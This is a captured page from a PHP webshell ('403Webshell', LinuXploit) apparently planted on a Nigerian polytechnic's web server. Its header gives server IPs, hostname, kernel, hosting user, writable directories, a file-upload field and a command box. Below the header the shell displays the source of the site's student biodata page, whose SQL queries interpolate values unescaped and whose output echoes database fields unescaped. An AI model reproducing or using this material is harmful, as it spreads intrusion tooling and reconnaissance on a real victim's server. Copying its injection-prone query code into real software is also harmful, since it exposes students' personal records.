403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/biodata.php
<?php
ob_start();
include('headMain.php');

//require_once('closedSemester.php');
//header('location:'.'../student/remitaschoolfee.php');
$matNo=	 $_SESSION['matNo'];
require_once('../connect.php');
$db=db_connect();

//require_once('check_payment2.php');
require_once('check_payment_Consultant.php');

?>
    <script src="../SpryAssets/SpryValidationTextField.js" type="text/javascript"></script>
    <link href="../SpryAssets/SpryValidationTextField.css" rel="stylesheet" type="text/css" />

<script type="text/javascript" language="javascript" src="../js/jquery-1.7.1.js"></script>
<script type="text/javascript" language="javascript" src="../js/scriptFile.js"></script>
<script type="text/javascript" language="javascript" src="../js/scriptLga.js"></script>
<!--<script type="text/javascript" language="javascript" src="../js/scriptPicture.js"></script>-->

<table width="100%" align="center" cellpadding="3" cellspacing="5">
    <tr>
        <td><fieldset>
                <legend>
                    <h2></h2></legend>
                <div class="row">
                    <div class="col-lg-.5"></div>
                    <div class="col-lg-11">
                        <div class="panel panel-default">
                            <div class="panel-heading">
                                Biodata Update (<?php echo $_SESSION['matNo'] ;?>)
                            </div>
                            <div class="panel-body">

                                <div class="row">
                                    <div class="col-lg-12">

                                    <form id="form1" name="form1"  role="form" method="post" action="biodata_process.php" enctype="multipart/form-data">
                    <table width="100%" cellspacing="5" cellpadding="3">
                        <?php
                        $matNo=$_SESSION['matNo'];
                        $sql="select * from realdata where matNo='$matNo'";
                        $result=$db->query($sql);
                        $result_fetch=$result->fetch(PDO::FETCH_BOTH);
                        $num=$result->rowCount();
                        if ($num>0){
                            $name=$result_fetch['names'];
                            $formNo=$result_fetch['formNo'];
                            //$name=mysql_result($result,0,'names');
                            $dept=$result_fetch['course'];
                            $level=$result_fetch['levelID'];
                            $levelQry=$db->query("select * from leveltb where id='$level'");
                        $levelQry_fetch=$levelQry->fetch(PDO::FETCH_BOTH);
                            $levelName=$levelQry_fetch['levelName'];


                            $mode=$result_fetch['mode'];
                            $state=$result_fetch['state'];
                            $lga=$result_fetch['lga'];
                            $dob=$result_fetch['dob'];
                            $gsm=$result_fetch['gsm'];
                            $sex=$result_fetch['sex'];
                            $address=$result_fetch['address'];
                            $email=$result_fetch['email'];
                            $gNames=$result_fetch['gNames'];
                            $gPhone=$result_fetch['gGSM'];
                            $gAddress=$result_fetch['gAddress'];
                            $home=$result_fetch['homeTown'];
                            $jambNo=$result_fetch['jambNo'];
                        }
                        ?>
                        <tr><?php

                                    if (isset($_GET['id'])){
                                        if ($_GET['id']==1){
                                            echo '<td colspan="4"  class="alert alert-success"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Biodata Updated Successfully';
                                        }elseif($_GET['id']==2){
                                            echo ' <td colspan="4" class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Update Failed';
                                        }
                                    }
                                    ?>
                                </tr>

                        <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk">&nbsp;</td>
                            <td id="load"  align="right"><img src="../passport/Reg<?php echo $matNo;?>.jpg" width="140px" height="140px" /></td>
                        </tr>
                        <tr>
                            <td><strong>Form Number</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk" class="form-control alert-info"><em><strong><?php echo $formNo; ?>.</strong></em></td>
                            <td rowspan="3"><input type="hidden" name="MAX_FILE_SIZE2" value="1000000" />
                                <input type="hidden" name="username1" id="username1"  />
                                <input name="user_file1" type="file" id="user_file1" class="form-control" />
                                <br />
                                <div class="alert alert-warning">*Passport must be JPEG format and not more than 50KB.</div> </td>
                        </tr>
                        <tr>
                            <td><strong>Matric Number</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk" class="form-control alert-info"><em><strong><?php echo $matNo; ?></strong></em></td>
                        </tr>

                        <tr>
                            <td><strong>Name</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk"  class="form-control alert-info"><em><strong><?php echo $name; ?></strong></em></td>
                        </tr>
                        <tr>
                            <td><strong>Department/Course</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk"  class="form-control alert-info"><em><strong><?php echo $dept; ?></strong></em></td>
                            <td>&nbsp;</td>
                        </tr>
                        <tr>
                            <td><strong>Level</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk"  class="form-control alert-info"><em><strong><?php echo $levelName; ?></strong></em></td>
                            <td>&nbsp;</td>
                        </tr>
                        <tr>
                            <td><strong>Mode</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk"  class="form-control alert-info"><em><strong><?php echo $mode; ?></strong></em></td>
                            <td>&nbsp;</td>
                        </tr>
                        <tr>
                            <td><strong>State</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk"  class="form-control alert-info"><em><strong><?php echo $state; ?>
                                        <input type="hidden" name="hstate" id="hiddenField" value="<?php echo $state; ?>" />
                                    </strong></em></td>
                            <td><label for="select"></label>
                                <select name="txtstate" id="state"  class="form-control">
                                    <?php
                                   // require('../connect.php');
                                    if ($state=="") {
                                        $state = 'Select Option...';
                                    } else{

                                       $state=$state;
                                    }
                                    $query="SELECT distinct state FROM states";
                                    $rs=$db->query($query);
                                    echo '<option>'.$state.'</option>';
                                    while ($row=$rs->fetch(PDO::FETCH_BOTH)){

                                     //for($i=0;$i<mysql_num_rows($rs);$i++){
                                        //$row=mysql_fetch_row($rs);

                                        echo '<option>'.$row[0].'</option>';
                                    }
                                    ?>
                                </select></td>
                        </tr>
                        <tr>
                            <td><strong>Local Government</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk"  class="form-control alert-info"><em><strong><?php echo $lga; ?>
                                        <input type="hidden" name="hlga" id="hiddenField2" value="<?php echo $lga; ?>" />
                                    </strong></em></td>
                            <td id="lga"><label for="select2"></label></td>
                        </tr>
                        <tr>
                            <td><strong>Home Town</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk2"  class="form-control alert-info"><em><strong><?php echo $home; ?>
                                        <input type="hidden" name="hhome" id="hiddenField3" value="<?php echo $home; ?>" />
                                    </strong></em></td>
                            <td><label for="textfield2"></label>
                                <input type="text" name="home" class="form-control" id="txtRound" value="<?php echo $home; ?>" /></td>
                        </tr>
                        <tr>
                            <td><strong>Jamb Number</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk2"  class="form-control alert-info"><em><strong><?php echo $jambNo; ?>
                                        <input type="hidden" name="hhome" id="hiddenField3" value="<?php echo $jambNo; ?>" />
                                    </strong></em></td>
                            <td><label for="textfield2"></label>
                                <input type="text" name="jambNo" class="form-control" id="txtRound" value="<?php echo $jambNo; ?>" /></td>
                        </tr>
                        <tr>
                            <td><strong>Date of Birth</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk" class="form-control alert-info"><em><strong><?php echo $dob; ?>
                                        <input type="hidden" name="hdob" id="hiddenField4" value="<?php echo $dob; ?>" />
                                    </strong></em></td>
                            <td><label for="home"></label>

                            <label for="dob"></label>
                            <input type="date"  name="dob" class="form-control" id="txtRound" value="<?php echo $dob; ?>"/>
                           </td>
                        </tr>
                        <tr>
                            <td><strong>Phone Number</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk" class="form-control alert-info"><em><strong><?php echo $gsm; ?>
                                        <input type="hidden" name="hgsm" id="hiddenField5" value="<?php echo $gsm; ?>" />
                                    </strong></em></td>
                            <td><label for="gsm"></label>
                            <span id="sprytextfield2">
                            <label for="gsm"></label>
                            <input type="text" name="gsm" id="gsm" class="form-control" value="<?php echo $gsm; ?>" />
                            <span class="textfieldRequiredMsg">A value is required.</span><span class="textfieldInvalidFormatMsg">Invalid format.</span></span></td>
                        </tr>
                        <tr>
                            <td><strong>Sex</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk" class="form-control alert-info"><em><strong><?php echo $sex; ?>
                                        <input type="hidden" name="hsex" id="hiddenField6" value="<?php echo $sex; ?>" />
                                    </strong></em></td>
                            <td><label for="sex"></label>
                                <select name="sex" id="sex" class="form-control">
                                    <option><?php echo $sex; ?></option>';
                                    <option>Male</option>
                                    <option>Female</option>
                                </select></td>
                        </tr>
                        <tr>
                            <td><strong>Address</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk" class="form-control alert-info"><em><strong><?php echo $address; ?>
                                        <input type="hidden" name="haddress" id="hiddenField7" />
                                    </strong></em></td>
                            <td><label for="address"></label>
                                <textarea name="address" id="address" cols="25" class="form-control" rows="3"><?php echo $address; ?></textarea></td>
                        </tr>
                        <tr>
                            <td><strong>e-Mail</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" id="kkk" class="form-control alert-info"><em><strong><?php echo $email; ?>
                                        <input type="hidden" name="haddress" id="hiddenField8" value="<?php echo $address; ?>" />
                                    </strong></em></td>
                            <td><span id="sprytextfield1">
                          <label for="email"></label>
                          <input type="text" name="email" id="email" class="form-control" value="<?php echo $email; ?>" />
                          <span class="textfieldRequiredMsg">A value is required.</span><span class="textfieldInvalidFormatMsg">Invalid format.</span></span></td>
                        </tr>
                        <tr>
                            <td><strong>Guardian's Name</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" class="form-control alert-info"><em><strong><?php echo $gNames; ?>
                                        <input type="hidden" name="hgNames" id="hiddenField9" value="<?php echo $gNames; ?>" />
                                    </strong></em></td>
                            <td><input type="text" name="gName" class="form-control" id="txtRound" value="<?php echo $gNames; ?>"/></td>
                        </tr>
                        <tr>
                            <td><strong>Guardian's Address</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF"class="form-control alert-info"><em><strong><?php echo $gAddress; ?>
                                        <input type="hidden" name="hgAddress" id="hiddenField10" value="<?php echo $gAddress; ?>" />
                                    </strong></em></td>
                            <td><textarea name="gAddress" class="form-control" id="address" cols="25" rows="3"><?php echo $gAddress; ?></textarea></td>
                        </tr>
                        <tr>
                            <td><strong>Guardian's Phone No</strong></td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" class="form-control alert-info"><em><strong><?php echo $gPhone; ?>
                                        <input type="hidden" name="hgPhone" id="hiddenField11" value="<?php echo $gPhone; ?>" />
                                    </strong></em></td>
                            <td><span id="sprytextfield4">
                          <label for="gGSM"></label>
                          <input type="text" name="gGSM" class="form-control" id="gsm" value="<?php echo $gPhone; ?>" />
                          <span class="textfieldRequiredMsg">A value is required.</span><span class="textfieldInvalidFormatMsg">Invalid format.</span></span></td>
                        </tr>
                        <tr>
                            <tr><td>&nbsp;</td></tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td bgcolor="#FFFFFF" >&nbsp;</td>
                            <td><input type="submit" class="btn btn-block btn-primary" name="button" id="button" value="Update" /></td>
                        </tr>
                    </table>
                                        </form>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </fieldset>
            </td>
        </tr>
    </table>

<script type="text/javascript">
    var sprytextfield1 = new Spry.Widget.ValidationTextField("sprytextfield1", "email", {useCharacterMasking:true, validateOn:["blur"]});
    var sprytextfield2 = new Spry.Widget.ValidationTextField("sprytextfield2", "phone_number", {format:"phone_custom", pattern:"0000-000-0000", useCharacterMasking:true, validateOn:["blur"]});
    var sprytextfield3 = new Spry.Widget.ValidationTextField("sprytextfield3", "date", {useCharacterMasking:true, format:"dd/mm/yyyy", validateOn:["blur"]});
</script>
<script type="text/javascript">
    var sprytextfield4 = new Spry.Widget.ValidationTextField("sprytextfield4", "phone_number", {format:"phone_custom", pattern:"0000-000-0000", useCharacterMasking:true, validateOn:["blur"]});
</script>
    <div class="col-lg-.5"></div>
<?php
include('footMain.php');
ob_end_flush();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit